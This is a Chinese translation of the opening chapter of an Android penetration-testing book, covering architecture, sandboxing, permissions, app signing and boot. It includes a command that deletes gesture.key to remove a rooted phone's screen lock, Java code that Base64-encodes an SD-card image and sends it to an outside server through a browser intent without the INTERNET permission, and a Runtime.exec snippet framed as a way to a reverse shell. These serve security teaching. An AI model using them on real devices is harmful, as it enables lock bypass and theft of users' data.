第一章 Android 安全入門
作者:Aditya Gupta
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
Android 是當(dāng)今最流行的智能手機(jī)操作系統(tǒng)之一。 隨著人氣的增加,它存在很多安全風(fēng)險(xiǎn),這些風(fēng)險(xiǎn)不可避免地被引入到應(yīng)用程序中,使得用戶本身受到威脅。 我們將在本書中以方法論和循序漸進(jìn)的方式來討論 Android 應(yīng)用程序安全性和滲透測(cè)試的各個(gè)方面。
本章的目標(biāo)是為 Android 安全打下基礎(chǔ),以便在以后的章節(jié)中使用。
1.1 Android 簡介
自從 Android 被谷歌收購(2005 年),谷歌已經(jīng)完成了整個(gè)開發(fā),在過去的 9 年里,尤其是在安全方面,有很多變化。 現(xiàn)在,它是世界上最廣泛使用的智能手機(jī)平臺(tái),特別是由于不同的手機(jī)制造商,如 LG,三星,索尼和 HTC 的支持。 Android 的后續(xù)版本中引入了許多新概念,例如 Google Bouncer 和 Google App Verifier。 我們將在本章逐一介紹它們。
如果我們看看 Android 的架構(gòu),如下圖所示,我們將看到它被分為四個(gè)不同的層。 在它的底部是 Linux 內(nèi)核,它已被修改來在移動(dòng)環(huán)境中獲得更好的性能。 Linux 內(nèi)核還必須與所有硬件組件交互,因此也包含大多數(shù)硬件驅(qū)動(dòng)程序。 此外,它負(fù)責(zé) Android 中存在的大多數(shù)安全功能。 由于 Android 基于 Linux 平臺(tái),它還使開發(fā)人員易于將 Android 移植到其他平臺(tái)和架構(gòu)。 Android 還提供了一個(gè)硬件抽象層,供開發(fā)人員在 Android 平臺(tái)棧和他們想要移植的硬件之間創(chuàng)建軟件鉤子。
在 Linux 內(nèi)核之上是一個(gè)層級(jí),包含一些最重要和有用的庫,如下所示:
Surface Manager:管理窗口和屏幕
媒體框架:這允許使用各種類型的編解碼器來播放和記錄不同的媒體
SQLite:這是一個(gè)較輕的 SQL 版本,用于數(shù)據(jù)庫管理
WebKit:這是瀏覽器渲染引擎
OpenGL:用于在屏幕上正確顯示 2D 和 3D 內(nèi)容
以下是來自 Android 開發(fā)人員網(wǎng)站的 Android 架構(gòu)的圖形表示:

Android 中的庫是用 C 和 C++ 編寫的,其中大多數(shù)是從 Linux 移植的。 與 Linux 相比,Android 中的一個(gè)主要區(qū)別是,在這里沒有libc庫,它用于 Linux 中的大多數(shù)任務(wù)。 相反,Android 有自己的稱為bionic的庫,我們可以認(rèn)為它是一個(gè)剝離和修改后的,用于 Android 的 libc 版本。
在同一層級(jí),還有來自 Android 運(yùn)行時(shí) -- Dalvik 虛擬機(jī)和核心庫的組件。 我們將在本書的下一部分中討論關(guān)于 Dalvik 虛擬機(jī)的很多內(nèi)容。
在這個(gè)層之上,有應(yīng)用程序框架層,它支持應(yīng)用程序執(zhí)行不同類型的任務(wù)。
此外,開發(fā)人員創(chuàng)建的大多數(shù)應(yīng)用程序只與第一層和最頂層的應(yīng)用程序交互。 該架構(gòu)以一種方式設(shè)計(jì),在每個(gè)時(shí)間點(diǎn),底層都支持上面的層級(jí)。
早期版本的 Android(<4.0)基于 Linux 內(nèi)核 2.6.x,而較新版本基于內(nèi)核 3.x. 不同的 Android 版本和他們使用的 Linux 內(nèi)核的列表規(guī)定如下:

Android 中的所有應(yīng)用程序都在虛擬環(huán)境下運(yùn)行,這稱為 Dalvik 虛擬機(jī)(DVM)。 這里需要注意的一點(diǎn)是,從 Android 4.4 版本開始,還有另一個(gè)運(yùn)行時(shí)稱為 Android 運(yùn)行時(shí)(ART),用戶可以在 DVM 和 ART 運(yùn)行時(shí)環(huán)境之間自由切換。
然而,對(duì)于這本書,我們將只關(guān)注 Dalvik 虛擬機(jī)實(shí)現(xiàn)。 它類似于 Java 虛擬機(jī)(JVM),除了基于寄存器的特性,而不是基于堆棧的特性。 因此,運(yùn)行的每個(gè)應(yīng)用程序都將在自己的 Dalvik 虛擬機(jī)實(shí)例下運(yùn)行。 因此,如果我們運(yùn)行三個(gè)不同的應(yīng)用程序,將有三個(gè)不同的虛擬實(shí)例。 現(xiàn)在,這里的重點(diǎn)是,即使它為應(yīng)用程序創(chuàng)建一個(gè)虛擬環(huán)境來運(yùn)行,它不應(yīng)該與安全容器或安全環(huán)境混淆。 DVM 的主要焦點(diǎn)是與性能相關(guān),而不是與安全性相關(guān)。
Dalvik 虛擬機(jī)執(zhí)行一個(gè)名為.dex或 Dalvik 可執(zhí)行文件的文件格式。 我們將進(jìn)一步查看.dex文件格式,并將在下面的章節(jié)中進(jìn)行分析。 現(xiàn)在讓我們繼續(xù)與 adb 進(jìn)行交互,并更深入地分析 Android 設(shè)備及其體系結(jié)構(gòu)。
1.2 深入了解 Android
如果你有 Android 設(shè)備或正在運(yùn)行Android模擬器,則可以使用 Android SDK 本身提供的工具(稱為 adb)。 我們將在第二章詳細(xì)討論 adb。 現(xiàn)在,我們將只設(shè)置 SDK,我們已經(jīng)準(zhǔn)備好了。
一旦設(shè)備通過 USB 連接,我們可以在我們的終端中輸入 adb,這將顯示所連接設(shè)備的序列號(hào)列表。 請(qǐng)確保你已在設(shè)備設(shè)置中啟用了 USB 調(diào)試功能。
$ adb devices
List of devices attached
emulator-5554 device
提示
下載示例代碼
你可以從
http://www.packtpub.com下載你從帳戶中購買的所有 Packt 圖書的示例代碼文件。 如果你在其他地方購買此書,則可以訪問http://www.packtpub.com/support并注冊(cè)以將文件直接發(fā)送給你。
現(xiàn)在,如我們之前所見,Android 是基于 Linux 內(nèi)核的,所以大多數(shù) Linux 命令在 Android 上也可以通過 adb shell 完美運(yùn)行。 adb shell 為你提供與設(shè)備的 shell 直接交互,你可以在其中執(zhí)行命令和執(zhí)行操作以及分析設(shè)備中存在的信息。 為了執(zhí)行 shell,只需要鍵入以下命令:
adb shell.
一旦我們?cè)?shell 中,我們可以運(yùn)行ps為了列出正在運(yùn)行的進(jìn)程:

如你所見,ps將列出當(dāng)前在 Android 系統(tǒng)中運(yùn)行的所有進(jìn)程。 如果仔細(xì)看,第一列制定了用戶名。 在這里我們可以看到各種用戶名,如system,root,radio和一系列以app_開頭的用戶名。 正如你可能已經(jīng)猜到的,以system名稱運(yùn)行的進(jìn)程由系統(tǒng)擁有,root作為根進(jìn)程運(yùn)行,radio是與電話和無線電相關(guān)的進(jìn)程,app_進(jìn)程是用戶已下載的所有應(yīng)用程序, 安裝在他們的設(shè)備上并且當(dāng)前正在運(yùn)行。 因此,就像在 Linux 中用戶確定了當(dāng)前登錄到系統(tǒng)的唯一用戶一樣,在 Android 中,用戶標(biāo)識(shí)了在自己的環(huán)境中運(yùn)行的應(yīng)用/進(jìn)程。
所以,Android 安全模型的核心是 Linux 特權(quán)分離。 每次在 Android 設(shè)備中啟動(dòng)新應(yīng)用程序時(shí),都會(huì)為其分配唯一的用戶 ID(UID),該用戶 ID 將之后會(huì)屬于某些其他預(yù)定義組。
與 Linux 類似,用作命令的所有二進(jìn)制文件都位于/system/bin和/system /xbin。 此外,我們從 Play 商店或任何其他來源安裝的應(yīng)用程序數(shù)據(jù)將位于/data/data,而其原始安裝文件(即.apk)將存儲(chǔ)在/data/app。 此外,還有一些應(yīng)用程序需要從 Play 商店購買,而不是只是免費(fèi)下載。 這些應(yīng)用程序?qū)⒋鎯?chǔ)在/data/app-private/。
Android 安裝包(APK)是 Android 應(yīng)用程序的默認(rèn)擴(kuò)展名,它只是一個(gè)歸檔文件,包含應(yīng)用程序的所有必需文件和文件夾。 我們?cè)诤竺娴恼鹿?jié)中將繼續(xù)對(duì).apk文件進(jìn)行逆向工程。
現(xiàn)在,讓我們?cè)L問/data/data,看看里面有什么。 這里需要注意的一點(diǎn)是,為了在真實(shí)設(shè)備上實(shí)現(xiàn),設(shè)備需要 root 并且必須處于su模式:
# cd /data/data
# ls
com.aditya.facebookapp
com.aditya.spinnermenu
com.aditya.zeropermission
com.afe.socketapp
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.calendar
com.android.camera
com.android.certinstaller
com.android.classic
com.android.contacts
com.android.customlocale2
所以,我們可以在這里看到,例如,com.aditya.facebookapp,是單獨(dú)的應(yīng)用程序文件夾。 現(xiàn)在,你可能會(huì)想知道為什么它是用點(diǎn)分隔的單詞風(fēng)格,而不是常見的文件夾名稱,如FacebookApp或CameraApp。 因此,這些文件夾名稱指定各個(gè)應(yīng)用程序的軟件包名稱。 軟件包名稱是應(yīng)用程序在 Play 商店和設(shè)備上標(biāo)識(shí)的唯一標(biāo)識(shí)符。 例如,可能存在具有相同名稱的多個(gè)相機(jī)應(yīng)用或計(jì)算器應(yīng)用。 因此,為了唯一地標(biāo)識(shí)不同的應(yīng)用,使用包名稱約定而不是常規(guī)應(yīng)用名稱。
如果我們進(jìn)入任何應(yīng)用程序文件夾,我們會(huì)看到不同的子文件夾,例如文件(files),數(shù)據(jù)庫(databases)和緩存(cache),稍后我們將在第 3 章“逆向和審計(jì) Android 應(yīng)用程序”中查看。
shell@android:/data/data/de.trier.infsec.koch.droidsheep # ls
cache
databases
files
lib
shell@android:/data/data/de.trier.infsec.koch.droidsheep #
這里需要注意的一個(gè)重要的事情是,如果手機(jī)已經(jīng) root,我們可以修改文件系統(tǒng)中的任何文件。 對(duì)設(shè)備獲取 root 意味著我們可以完全訪問和控制整個(gè)設(shè)備,這意味著我們可以看到以及修改任何我們想要的文件。
最常見的安全保護(hù)之一是大多數(shù)人都想到的是模式鎖定或 pin 鎖,它默認(rèn)存在于所有Android手機(jī)。 你可以通過訪問Settings | Security | Screen Lock來配置自己的模式。
一旦我們?cè)O(shè)置了密碼或模式鎖定,我們現(xiàn)在將繼續(xù),將手機(jī)與 USB 連接到我們的系統(tǒng)。 現(xiàn)在,密碼鎖的密鑰或模式鎖的模式數(shù)據(jù)以名稱password.key或gesture.key存儲(chǔ)在/data/system。 注意,如果設(shè)備被鎖定,并且 USB 調(diào)試被打開,你需要一個(gè)自定義引導(dǎo)加載程序來打開 USB 調(diào)試。 整個(gè)過程超出了本書的范圍。 要了解有關(guān) Android 的更多信息,請(qǐng)參閱 Thomas Cannon Digging 的 Defcon 演示。
因?yàn)槠平饷艽a/模式將更加艱難,并且需要暴力(我們將看到如何解密實(shí)際數(shù)據(jù)),我們將簡單地繼續(xù)并刪除該文件,這將從我們手機(jī)中刪除模式保護(hù) :
shell@android:/data # cd /data/system
shell@android:/data/system # rm gesture.key
所以,我們可以看到,一旦手機(jī)被 root ,幾乎任何東西都可以只用手機(jī)、一根USB電纜和一個(gè)系統(tǒng)來完成。 我們將在本書的后續(xù)章節(jié)中更多地了解基于 USB 的利用。
1.3 沙箱和權(quán)限模型
為了理解 Android 沙箱,讓我們舉一個(gè)例子,如下圖:

如前圖所示和前面所討論的,Android 中的每個(gè)應(yīng)用程序都在其自己的 Dalvik 虛擬機(jī)實(shí)例中運(yùn)行。 這就是為什么,無論何時(shí)任何應(yīng)用程序在我們的設(shè)備中崩潰,它只是顯示強(qiáng)制關(guān)閉或等待選項(xiàng),但其他應(yīng)用程序繼續(xù)順利運(yùn)行。 此外,由于每個(gè)應(yīng)用程序都在其自己的實(shí)例中運(yùn)行,因此除非內(nèi)容提供者另有規(guī)定,否則將無法訪問其他應(yīng)用程序的數(shù)據(jù)。
Android 使用細(xì)粒度的權(quán)限模型,這需要應(yīng)用程序在編譯最終應(yīng)用程序包之前預(yù)定義權(quán)限。
你必須注意到,每次從 Play 商店或任何其他來源下載應(yīng)用程序時(shí),它會(huì)在安裝過程中顯示一個(gè)權(quán)限屏幕,它類似于以下屏幕截圖:

此權(quán)限屏幕顯示應(yīng)用程序可以通過手機(jī)執(zhí)行的所有任務(wù)的列表,例如發(fā)送短信,訪問互聯(lián)網(wǎng)和訪問攝像頭。 請(qǐng)求多于所需的權(quán)限使應(yīng)用程序成為惡意軟件作者的更具吸引力的目標(biāo)。
Android 應(yīng)用程序開發(fā)人員必須在開發(fā)應(yīng)用程序時(shí)在名為AndroidManifest.xml的文件中指定所有這些權(quán)限。 此文件包含各種應(yīng)用程序相關(guān)信息的列表,例如運(yùn)行程序所需的最低 Android 版本,程序包名稱,活動(dòng)列表(應(yīng)用程序可見的應(yīng)用程序中的界面),服務(wù)(應(yīng)用程序的后臺(tái)進(jìn)程) ,和權(quán)限。 如果應(yīng)用程序開發(fā)人員未能在AndroidManifest.xml文件中指定權(quán)限,并仍在應(yīng)用程序中使用它,則應(yīng)用程序?qū)⒈罎?,并在用戶運(yùn)行它時(shí)顯示強(qiáng)制關(guān)閉消息。
一個(gè)正常的AndroidManifest.xml文件看起來像下面的截圖所示。 在這里,你可以使用<uses-permission>標(biāo)記和其他標(biāo)記查看所需的不同權(quán)限:

如前所述,所有 Android 應(yīng)用程序在安裝后首次啟動(dòng)時(shí)都會(huì)分配一個(gè)唯一的 UID。 具有給定 UID 的所有用戶都屬于特定組,具體取決于他們請(qǐng)求的權(quán)限。 例如,一個(gè)僅請(qǐng)求 Internet 權(quán)限的應(yīng)用程序?qū)儆?code>inet組,因?yàn)?Android 中的 Internet 權(quán)限位于inet組下。
用戶(在這種情況下的應(yīng)用程序)可以屬于多個(gè)組,具體取決于他們請(qǐng)求的權(quán)限。 或者換句話說,每個(gè)用戶可以屬于多個(gè)組,并且每個(gè)組可以具有多個(gè)用戶。 這些組具有由組 ID(GID)定義的唯一名稱。 然而,開發(fā)人員可以明確地指定其他應(yīng)用程序在與第一個(gè)相同的 UID 下運(yùn)行。 在我們的設(shè)備中,其中的組和權(quán)限在文件platform.xml中指定,它位于/system/etc/permissions/:
shell@grouper:/system/etc/permissions $ cat platform.xml
<permissions>
. . .
<!-- ================================================================== -->
<!-- The following tags are associating low-level group IDs with
permission names. By specifying such a mapping, you are saying
that any application process granted the given permission will
also be running with the given group ID attached to its process,
so it can perform any filesystem (read, write, execute) operations
allowed for that group. -->
<permission name="android.permission.BLUETOOTH" >
<group gid="net_bt" />
</permission>
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
. . . [Some of the data has been stripped from here in order to shorten the output and make it readable]
</permissions>
此外,這清除了對(duì)在 Android 設(shè)備中運(yùn)行的本地應(yīng)用程序的懷疑。 由于本地應(yīng)用程序直接與處理器交互,而不是在 Dalvik 虛擬機(jī)下運(yùn)行,因此它不會(huì)以任何方式影響整體安全模型。
現(xiàn)在,就像我們?cè)谇懊娌糠挚吹降?,?yīng)用程序?qū)⑵鋽?shù)據(jù)存儲(chǔ)在location/data/data/[package name]。 現(xiàn)在,存儲(chǔ)應(yīng)用程序數(shù)據(jù)的所有文件夾也具有相同的用戶 ID,這構(gòu)成 Android 安全模型的基礎(chǔ)。 根據(jù) UID 和文件權(quán)限,它將限制來自具有不同 UID 的其他應(yīng)用程序?qū)λ脑L問和修改。
在下面的代碼示例中,ret包含以 Base64 格式編碼存儲(chǔ)在的 SD 卡中的圖像,現(xiàn)在正在使用瀏覽器調(diào)用來上傳到attify.com網(wǎng)站。 目的只是找到一種方式來在兩個(gè)不同的 Android 對(duì)象之間進(jìn)行通信。
我們將首先創(chuàng)建一個(gè)對(duì)象來存儲(chǔ)圖像,在 Base64 中編碼,最后將其存儲(chǔ)在一個(gè)字符串中imageString:
final File file = new File("/mnt/sdcard/profile.jpg");
Uri uri = Uri.fromFile(file);
ContentResolver cr = getContentResolver();
Bitmap bMap=null;
try {
InputStream is = cr.openInputStream(uri);
bMap = BitmapFactory.decodeStream(is);
if (is != null) {
is.close();
}
} catch (Exception e) {
Log.e("Error reading file", e.toString());
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos);
byte[] b = baos.toByteArray();
String imageString = Base64.encodeToString(b,Base64.DEFAULT);
最后,我們將啟動(dòng)瀏覽器將數(shù)據(jù)發(fā)送到我們的服務(wù)器,我們有一個(gè).php文件偵聽傳入的數(shù)據(jù):
startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u="+imageString)));
我們還可以執(zhí)行命令并以相同的方式將輸出發(fā)送到遠(yuǎn)程服務(wù)器。 但是,這里需要注意的一點(diǎn)是 shell 應(yīng)該在應(yīng)用程序的用戶下運(yùn)行:
// To execute commands :
String str = "cat /proc/version"; //command to be executed is stored in str.
process = Runtime.getRuntime().exec(str);
這是一個(gè)有趣的現(xiàn)象,因?yàn)楣粽呖梢垣@得一個(gè)反向 shell(這是一個(gè)從設(shè)備到系統(tǒng)的雙向連接,可以用于執(zhí)行命令),而不需要任何類型的權(quán)限。
1.4 應(yīng)用簽名
應(yīng)用程序簽名是 Android 的獨(dú)特特性之一,由于其開放性和開發(fā)人員社區(qū),它取得了成功。 Play 商店中有超過一百萬個(gè)應(yīng)用。 在 Android 中,任何人都可以通過下載 Android SDK 創(chuàng)建 Android 應(yīng)用,然后將其發(fā)布到 Play 商店。 通常有兩種類型的證書簽名機(jī)制。 一個(gè)是由管理證書頒發(fā)機(jī)構(gòu)(CA)簽名的,另一個(gè)是自簽名證書。 沒有中間證書頒發(fā)機(jī)構(gòu)(CA),而開發(fā)人員可以創(chuàng)建自己的證書并為應(yīng)用程序簽名。
在 Apple 的 iOS 應(yīng)用程序模型中可以看到 CA 簽名,其中開發(fā)者上傳到 App Store 的每個(gè)應(yīng)用程序都經(jīng)過驗(yàn)證,然后由 Apple 的證書簽名。 一旦下載到設(shè)備,設(shè)備將驗(yàn)證應(yīng)用程序是否由 Apple 的 CA 簽名,然后才允許應(yīng)用程序運(yùn)行。
但是,在 Android 中是相反的。 沒有證書頒發(fā)機(jī)構(gòu); 而是開發(fā)人員的自創(chuàng)建證書可以簽署應(yīng)用程序。 應(yīng)用程序上傳完成后,會(huì)由 Google Bouncer 進(jìn)行驗(yàn)證,這是一個(gè)虛擬環(huán)境,用于檢查應(yīng)用程序是否是惡意或合法的。 檢查完成后,應(yīng)用就會(huì)顯示在 Play 商店中。 在這種情況下,Google 不會(huì)對(duì)該應(yīng)用程序進(jìn)行簽名。 開發(fā)人員可以使用 Android SDK 附帶的工具(稱為keytool)創(chuàng)建自己的證書,或者使用 Eclipse 的 GUI 創(chuàng)建證書。
因此,在 Android 中,一旦開發(fā)人員使用他創(chuàng)建的證書簽名了應(yīng)用程序,他需要將證書的密鑰保存在安全的位置,以防止其他人竊取他的密鑰并使用開發(fā)人員的證書簽署其他應(yīng)用程序 。
如果我們有一個(gè) Android 應(yīng)用程序(.apk)文件,我們可以檢查應(yīng)用程序的簽名,并找到使用稱為jarsigner的工具簽署應(yīng)用程序的人,這個(gè)工具是 Android SDK 自帶的:
$ jarsigner -verify -certs -verbose testing.apk
以下是在應(yīng)用程序上運(yùn)行上述命令并獲取簽名的信息的屏幕截圖:

此外,解壓縮.apk文件后,可以解析META-INF文件夾中出現(xiàn)的CERT.RSA文件的 ASCII 內(nèi)容,以獲取簽名,如以下命令所示:
$ unzip testing.apk
$ cd META-INF
$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer
$ cat out.cer
這在檢測(cè)和分析未知的 Android .apk示例時(shí)非常有用。 因此,我們可以使用它獲得簽署人以及其他詳細(xì)信息。
1.5 Android 啟動(dòng)流程
在 Android 中考慮安全性時(shí)最重要的事情之一是 Android 啟動(dòng)過程。 整個(gè)引導(dǎo)過程從引導(dǎo)加載程序開始,它會(huì)反過來啟動(dòng)init過程 - 第一個(gè)用戶級(jí)進(jìn)程。
所以,任何引導(dǎo)加載程序的變化,或者如果我們加載另一個(gè),而不是默認(rèn)存在的引導(dǎo)加載程序,我們實(shí)際上可以更改在設(shè)備上加載的內(nèi)容。 引導(dǎo)加載程序通常是特定于供應(yīng)商的,每個(gè)供應(yīng)商都有自己的修改版本的引導(dǎo)加載程序。 通常,默認(rèn)情況下,此功能通過鎖定引導(dǎo)加載程序來禁用,它只允許供應(yīng)商指定的受信任內(nèi)核在設(shè)備上運(yùn)行。 為了將自己的 ROM 刷到 Android 設(shè)備,需要解鎖引導(dǎo)加載程序。 解鎖引導(dǎo)加載程序的過程可能因設(shè)備而異。 在某些情況下,它也可能使設(shè)備的保修失效。
注
在 Nexus 7 中,它就像使用命令行中的fastboot工具一樣簡單,如下所示:
$ fastboot oem unlock
在其他設(shè)備中,可能需要更多精力。 我們看看如何創(chuàng)建自己的 Bootloader 并在本書的后續(xù)章節(jié)中使用它。
回到啟動(dòng)過程,在引導(dǎo)加載程序啟動(dòng)內(nèi)核并啟動(dòng)init之后,它掛載了 Android 系統(tǒng)運(yùn)行所需的一些重要目錄,例如/dev,/sys和/proc。 此外,init從配置文件init.rc和init.[device-name].rc中獲取自己的配置,在某些情況下從位于相同位置的.sh文件獲取自己的配置。

如果我們對(duì)init.rc文件執(zhí)行cat,我們可以看到init加載自身時(shí)使用的所有規(guī)范,如下面的截圖所示:

init進(jìn)程的責(zé)任是啟動(dòng)其他必需的組件,例如負(fù)責(zé) ADB 通信和卷守護(hù)程序(vold)的 adb 守護(hù)程序(adbd)。
加載時(shí)使用的一些屬性位于build.prop,它位于location/system。 當(dāng)你在 Android 設(shè)備上看到 Android logo 時(shí),就完成了init進(jìn)程的加載。 正如我們?cè)谙旅娴慕貓D中可以看到的,我們通過檢查build.prop文件來獲取設(shè)備的具體信息:

一旦所有的東西被加載,init最后會(huì)加載一個(gè)稱為 Zygote 的進(jìn)程,負(fù)責(zé)以最小空間加載 Dalvik 虛擬機(jī)和共享庫,來加快整個(gè)進(jìn)程的加載速度。 此外,它繼續(xù)監(jiān)聽對(duì)自己的新調(diào)用,以便在必要時(shí)啟動(dòng)更多 DVM。 這是當(dāng)你在設(shè)備上看到 Android 開機(jī)動(dòng)畫時(shí)的情況。
一旦完全啟動(dòng),Zygote 派生自己并啟動(dòng)系統(tǒng),加載其他必要的 Android 組件,如活動(dòng)管理器。 一旦完成整個(gè)引導(dǎo)過程,系統(tǒng)發(fā)送BOOT_COMPLETED的廣播,許多應(yīng)用程序可能使用稱為廣播接收器的 Android 應(yīng)用程序中的組件來監(jiān)聽。 當(dāng)我們?cè)诘?3 章“逆向和審計(jì) Android 應(yīng)用程序”中分析惡意軟件和應(yīng)用程序時(shí),我們將進(jìn)一步了解廣播接收器。
總結(jié)
在本章中,我們?yōu)閷W(xué)習(xí) Android滲透測(cè)試建立了基礎(chǔ)。 我們還了解 Android 的內(nèi)部結(jié)構(gòu)及其安全體系結(jié)構(gòu)。
在接下來的章節(jié)中,我們將建立一個(gè) Android 滲透測(cè)試實(shí)驗(yàn)室,并使用這些知識(shí)執(zhí)行更多的技術(shù)任務(wù),來滲透 Android 設(shè)備和應(yīng)用程序。 我們還將了解有關(guān) ADB 的更多信息,并使用它來收集和分析設(shè)備中的信息。